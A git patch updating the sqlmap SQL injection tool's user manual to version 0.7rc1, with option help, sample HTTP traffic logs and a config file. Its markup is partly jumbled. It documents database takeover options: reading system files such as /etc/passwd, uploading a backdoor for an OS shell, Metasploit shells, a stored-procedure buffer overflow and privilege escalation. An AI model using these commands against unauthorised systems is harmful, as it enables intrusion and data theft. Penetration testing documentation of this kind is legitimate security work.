From 8c0ac767f42832670680beef881996e5e61786eb Mon Sep 17 00:00:00 2001
From: Bernardo Damele
-sqlmap user's manual
by
-Bernardo Damele A. G.
version 0.6.4, 3rd of February 2009
+Bernardo Damele A. G.version 0.7 release candidate 1, April 22, 2009
This document is the user's manual to use
sqlmap.
@@ -27,6 +27,11 @@ for the latest version.
2. Features
+
3. Download and update
@@ -52,7 +57,7 @@ for the latest version.
6. Disclaimer
7. Authors
+7. Author
@@ -66,8 +71,12 @@ in web applications. Once it detects one or more SQL injections on the
target host, the user can choose among a variety of options to perform an
extensive back-end database management system fingerprint, retrieve DBMS
session user and database, enumerate users, password hashes, privileges,
-databases, dump entire or user's specific DBMS tables/columns, run his own
-SQL statement, read specific files on the file system and more.
sqlmap relies on the +Metasploit Framework for some of its post-exploitation takeover +functionalities. You need to grab a copy of it from the +download +page. The required version is 3.2 or above.
Optionally, if you are running sqlmap on Windows, you may wish to install PyReadline library to be able to take advantage of the sqlmap TAB completion and @@ -187,10 +201,11 @@ in the following section to go ahead with the exploiting. vulnerability:
SELECT
sub-statement, or any other SQL
-statement whose the user want to retrieve the output.
+SELECT
sub-statement, or any other SQL statement whose the user
+want to retrieve the output.
For each HTTP response, by making a comparison based upon HTML page
content hashes, or string matches, with the original request, the tool
determines the output value of the statement character by character.
@@ -198,21 +213,22 @@ The bisection algorithm implemented in sqlmap to perform this technique
is able to fetch each output character with at maximum seven HTTP
requests.
This is sqlmap default SQL injection technique.UNION ALL SELECT
. This techique is useful if the web
application page passes the output of the SELECT
statement to a
for
cycle, or similar, so that each line of the query output is
printed on the page content.
-sqlmap is also able to exploit Partial UNION query SQL injection
-vulnerabilities which occur when the output of the statement is not cycled
-in a for construct whereas only the first entry output is displayed.
+sqlmap is also able to exploit partial (single entry) UNION query SQL
+injection vulnerabilities which occur when the output of the statement
+is not cycled in a for construct whereas only the first entry output is
+displayed.
This technique is much faster if the target url is affected by because
in a single HTTP response it returns the whole query output or a entry
per each response within the page content.
This SQL injection technique is an alternative to the first one.;
) followed by the
@@ -229,6 +245,11 @@ and the session user privileges.Major features implemented in sqlmap include:
+ + +
magic_quotes_gpc
bypass by encoding
every query string, between single quotes, with CHAR
, or similar,
database management system function.+
+
xp_cmdshell()
stored procedure.
+sp_replwritetovarbin
+stored procedure heap-based buffer overflow (MS09-004) exploitation
+with multi-stage Metasploit payload support;smb_relay
exploit on the attacker box.incognito
extension or Churrasco
+stand-alone executable.sqlmap 0.7 release candidate 1 version can be downloaded as a +source gzip compressed file or as a +source zip compressed file.
+sqlmap can be downloaded from its SourceForge File List page. It is available in various formats:
$ python sqlmap.py -h - sqlmap/0.6.4 coded by Bernardo Damele A. G. <bernardo.damele@gmail.com> - and Daniele Bellucci <daniele.bellucci@gmail.com> + sqlmap/0.7rc1 + by Bernardo Damele A. G. <bernardo.damele@gmail.com> Usage: sqlmap.py [options] @@ -427,19 +490,20 @@ Options: Request: These options can be used to specify how to connect to the target url. - --method=METHOD HTTP method, GET or POST (default: GET) + --method=METHOD HTTP method, GET or POST (default GET) --data=DATA Data string to be sent through POST --cookie=COOKIE HTTP Cookie header --referer=REFERER HTTP Referer header --user-agent=AGENT HTTP User-Agent header -a USERAGENTSFILE Load a random HTTP User-Agent header from file - --headers=HEADERS Extra HTTP headers '\n' separated - --auth-type=ATYPE HTTP Authentication type, value: Basic or Digest - --auth-cred=ACRED HTTP Authentication credentials, value: name:password + --headers=HEADERS Extra HTTP headers newline separated + --auth-type=ATYPE HTTP Authentication type (value Basic or Digest) + --auth-cred=ACRED HTTP Authentication credentials (value name:password) --proxy=PROXY Use a HTTP proxy to connect to the target url --threads=THREADS Maximum number of concurrent HTTP requests (default 1) --delay=DELAY Delay in seconds between each HTTP request --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) + --retries=RETRIES Retries when the connection timeouts (default 3) Injection: These options can be used to specify which parameters to test for, @@ -448,13 +512,13 @@ Options: -p TESTPARAMETER Testable parameter(s) --dbms=DBMS Force back-end DBMS to this value + --os=OS Force back-end DBMS operating system to this value --prefix=PREFIX Injection payload prefix string --postfix=POSTFIX Injection payload postfix string --string=STRING String to match in page when the query is valid --regexp=REGEXP Regexp to match in page when the query is valid - --excl-str=ESTRING String to be excluded before calculating page hash - --excl-reg=EREGEXP Regexp matches to be excluded before calculating page - hash + --excl-str=ESTRING String to be excluded before comparing page contents + --excl-reg=EREGEXP Matches to be excluded before comparing page contents Techniques: These options can be used to test for specific SQL injection technique @@ -463,6 +527,7 @@ Options: --stacked-test Test for stacked queries (multiple statements) support --time-test Test for time based blind SQL injection + --time-sec=TIMESEC Seconds to delay the DBMS response (default 5) --union-test Test for UNION query (inband) SQL injection --union-tech=UTECH Technique to test for UNION query SQL injection --union-use Use the UNION query (inband) SQL injection to retrieve @@ -481,13 +546,13 @@ Options: --current-db Retrieve DBMS current database --is-dba Detect if the DBMS current user is DBA --users Enumerate DBMS users - --passwords Enumerate DBMS users password hashes (opt: -U) - --privileges Enumerate DBMS users privileges (opt: -U) + --passwords Enumerate DBMS users password hashes (opt -U) + --privileges Enumerate DBMS users privileges (opt -U) --dbs Enumerate DBMS databases - --tables Enumerate DBMS database tables (opt: -D) - --columns Enumerate DBMS database table columns (req:-T opt:-D) - --dump Dump DBMS database table entries (req: -T, opt: -D, - -C, --start, --stop) + --tables Enumerate DBMS database tables (opt -D) + --columns Enumerate DBMS database table columns (req -T opt -D) + --dump Dump DBMS database table entries (req -T, opt -D, -C, + --start, --stop) --dump-all Dump all DBMS databases tables entries -D DB DBMS database to enumerate -T TBL DBMS database table to enumerate @@ -501,28 +566,32 @@ Options: File system access: These options can be used to access the back-end database management - system file system taking advantage of native DBMS functions or - specific DBMS design weaknesses. + system underlying file system. - --read-file=RFILE Read a specific OS file content (only on MySQL) - --write-file=WFILE Write to a specific OS file (not yet available) + --read-file=RFILE Read a file from the back-end DBMS file system + --write-file=WFILE Write a local file on the back-end DBMS file system + --dest-file=DFILE Back-end DBMS absolute filepath to write to Operating system access: This option can be used to access the back-end database management - system operating system taking advantage of specific DBMS design - weaknesses. + system underlying operating system. - --os-shell Prompt for an interactive OS shell (only on PHP/MySQL - environment with a writable directory within the web - server document root for the moment) + --os-cmd=OSCMD Execute an operating system command + --os-shell Prompt for an interactive operating system shell + --os-pwn Prompt for an out-of-band shell, meterpreter or VNC + --os-smbrelay One click prompt for an OOB shell, meterpreter or VNC + --os-bof Stored procedure buffer overflow exploitation + --priv-esc User priv escalation by abusing Windows access tokens + --msf-path=MSFPATH Local path where Metasploit Framework 3 is installed + --tmp-path=TMPPATH Remote absolute path of temporary files directory Miscellaneous: - --eta Retrieve each query output length and calculate the - estimated time of arrival in real time + --eta Display for each output the estimated time of arrival --update Update sqlmap to the latest stable version -s SESSIONFILE Save and resume all data retrieved on a session file --save Save options on a configuration INI file --batch Never ask for user input, use the default behaviour + --cleanup Clean up the DBMS by sqlmap specific UDF and tables@@ -624,7 +693,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] [hh:mm:55] [INFO] testing MySQL @@ -637,7 +706,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -659,7 +728,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:44] [TRAFFIC IN] HTTP response (OK - 200): @@ -680,7 +749,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -702,7 +771,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:17] [TRAFFIC IN] HTTP response (OK - 200): @@ -730,7 +799,7 @@ Host: 192.168.1.121:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:18] [TRAFFIC IN] HTTP response (OK - 200): @@ -1041,7 +1110,7 @@ Host: 192.168.1.125:80 Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Cookie: ASPSESSIONIDSABTRCAS=HPCBGONANJBGFJFHGOKDMCGJ Connection: close @@ -1057,7 +1126,7 @@ Accept-language: en-us,en;q=0.5 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 Cookie: ASPSESSIONIDSABTRCAS=469 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [hh:mm:40] [WARNING] Cookie parameter 'ASPSESSIONIDSABTRCAS' is not dynamic @@ -1109,7 +1178,7 @@ Accept-language: en-us,en;q=0.5 Referer: http://www.google.com Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8, image/png,*/*;q=0.5 -User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net) +User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net) Connection: close [...] @@ -1126,7 +1195,7 @@ Connection: close
-sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
@@ -1248,7 +1317,7 @@ Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
-User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@@ -1269,7 +1338,7 @@ Authorization: Digest username="testuser", realm="Testing digest authentication"
nonce="Qw52C8RdBAA=2d7eb362292b24718dcb6e4d9a7bf0f13d58fa9d",
uri="/sqlmap/mysql/digest/get_int.php?id=1", response="16d01b08ff2f77d8ff0183d706f96747",
algorithm="MD5", qop=auth, nc=00000001, cnonce="579be5eb8753693a"
-User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
@@ -1384,6 +1453,14 @@ the HTTP request timed out. The valid value is a float, for instance
10.5 means ten seconds and a half.
+Option: --retries
It is possible to specify the maximum number of retries when the HTTP +connection timeouts. By default it retries up to three times.
+ +
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/ua_str.php" -v 1 \
- -p "user-agent" --user-agent "sqlmap/0.6.4 (http://sqlmap.sourceforge.net)"
+ -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"
[hh:mm:40] [WARNING] the testable parameter 'user-agent' you provided is not into the GET
[hh:mm:40] [INFO] testing connection to the target url
@@ -1526,6 +1603,30 @@ back-end database management system. If you do not know it, let sqlmap
automatically identify it for you.
+Force the database management system operating system name
+
+Option: --os
+
+By default sqlmap automatically detects the web application's back-end
+database manangement system underlying operating system when requested by
+any other functionality.
+At the moment the fully supported operating systems are two:
+
+
+- Linux
+- Windows
+
+
+
+It is possible to force the operating system name if you already know it so
+that sqlmap will skip the fingerprint.
+
+Note that this option is not mandatory and it is strongly
+recommended to use it only if you are absolutely sure about the
+back-end database management system underlying operating system. If you do
+not know it, let sqlmap automatically identify it for you.
+
+
Custom injection payload
Options: --prefix
and --postfix
@@ -1556,7 +1657,7 @@ Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
-User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
@@ -1633,7 +1734,7 @@ $ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1655,7 +1756,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1677,7 +1778,7 @@ Content-Type: text/html
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
Host: 192.168.1.121:80
-User-agent: sqlmap/0.6.4 (http://sqlmap.sourceforge.net)
+User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
@@ -1888,9 +1989,9 @@ stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'=
Test for time based blind SQL injection
-Option: --time-test
+Options: --time-test
and --time-sec
-It is possible to test if the target URL is affected by a Time based
+
It is possible to test if the target URL is affected by a time based
blind SQL injection vulnerability.
Example on a MySQL 5.0.67 target:
@@ -1959,6 +2060,10 @@ time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';
+It is also possible to set the seconds to delay the response by providing
+the --time-sec
option followed by an integer. By default it delays
+five seconds.
Option: --read-file
If the back-end database management system is MySQL and the current user
-has FILE
access (access to LOAD_FILE()
builtin function),
-it is possible to read the content of a specific file from the file system.
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
-Example on a MySQL 5.0.67 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
- --read-file /etc/passwd -v 0
-/etc/passwd:
----
-root:x:0:0:root:/root:/bin/bash
-daemon:x:1:1:daemon:/usr/sbin:/bin/sh
-bin:x:2:2:bin:/bin:/bin/sh
-sys:x:3:3:sys:/dev:/bin/sh
-sync:x:4:65534:sync:/bin:/bin/sync
-games:x:5:60:games:/usr/games:/bin/sh
-man:x:6:12:man:/var/cache/man:/bin/sh
-lp:x:7:7:lp:/var/spool/lpd:/bin/sh
-mail:x:8:8:mail:/var/mail:/bin/sh
-news:x:9:9:news:/var/spool/news:/bin/sh
-uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
-proxy:x:13:13:proxy:/bin:/bin/sh
-www-data:x:33:33:www-data:/var/www:/bin/false
-backup:x:34:34:backup:/var/backups:/bin/sh
-nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
-mysql:x:104:105:MySQL Server,,,:/var/lib/mysql:/bin/false
-postgres:x:105:107:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
-inquis:x:1000:100:Bernardo Damele A. G.,,,:/home/inquis:/bin/bash
----
-
-
-
+Options: --write-file
and --dest-file
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
Option: --os-cmd
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
+ +Option: --os-shell
If the back-end database management system is MySQL, the web application's -programming language is PHP and you, or sqlmap itself, found a writable -directory within the web server document root path, sqlmap can prompt for -an interactive operating system shell on the back-end database management -system.
+This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
-Example on a MySQL 5.0.67 target:
--
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1" \
- --os-shell -v 0
-[hh:mm:49] [WARNING] unable to retrieve the injectable file absolute system path
-[hh:mm:49] [WARNING] unable to retrieve the remote web server document root
-[hh:mm:49] [INPUT] please provide the web server document root [/var/www]:
-[hh:mm:53] [INPUT] please provide a list of directories absolute path comma separated that
-you want sqlmap to try to upload the agent [/var/www/test]:
-[hh:mm:55] [INPUT] do you want to use the uploaded backdoor as a shell to execute commands
-right now? [Y/n] y
-$ id
-uid=33(www-data) gid=33(www-data) groups=33(www-data)
-$ exit
-
-
-
+As you might notice, such operating system shell has the same -functionalities of SQL shell in terms of TAB completion and history support.
+Options: --os-pwn
, --priv-esc
, --msf-path
and --tmp-path
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
+ + +Options: --os-smbrelay
, --priv-esc
and --msf-path
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
+ + +Options: --os-bof
, --priv-esc
and --msf-path
This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper +Advanced SQL injection to operating system full control for the moment.
sqlmap-SAUbs.conf
.
$ cat sqlmap-SAUbs.conf
-
[Target]
url = http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1
googledork =
@@ -4230,7 +4314,7 @@ delay = 0
headers =
cookie =
proxy =
-timeout = 10
+timeout = 30
acred =
referer =
data =
@@ -4238,10 +4322,11 @@ method = GET
[Miscellaneous]
updateall = False
-eta = False
-verbose = 2
-batch = False
sessionfile =
+eta = False
+batch = False
+cleanup = False
+verbose = 1
[Enumeration]
dumpall = False
@@ -4267,24 +4352,33 @@ getcurrentuser = False
getbanner = True
[File system]
+dfile =
wfile =
rfile =
[Takeover]
+msfpath =
osshell = False
+ossmb = False
+privesc = False
+ospwn = False
+tmppath =
+oscmd =
+osbof = False
[Fingerprint]
extensivefp = False
[Injection]
-estring =
dbms =
string =
postfix =
+regexp =
prefix =
testparameter =
-regexp =
+estring =
eregexp =
+os =
[Techniques]
stackedtest = False
@@ -4362,6 +4456,14 @@ back-end DBMS: MySQL >= 5.0.0
vulnerable parameter which is the default behaviour.
+Clean up the DBMS by sqlmap specific UDF and tables
+
+Option: --cleanup
+
+This paragraph will be written for sqlmap 0.7 stable version, refer to the white paper
+Advanced SQL injection to operating system full control for the moment.
+
+
6. Disclaimer
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
@@ -4375,18 +4477,12 @@ that such action might get you in trouble with a lot of law enforcement
agencies.
-7. Authors
+7. Author
-
--
-Bernardo Damele A. G. (inquis) - project leader, core developer. PGP Key ID:
-0x05F5A30F
--
-Daniele Bellucci (belch) - project founder, initial developer. PGP Key ID:
-0x9A0E8190
-
-
+Bernardo Damele A. G. (inquis) - Lead developer.
+PGP Key ID:
+0x05F5A30F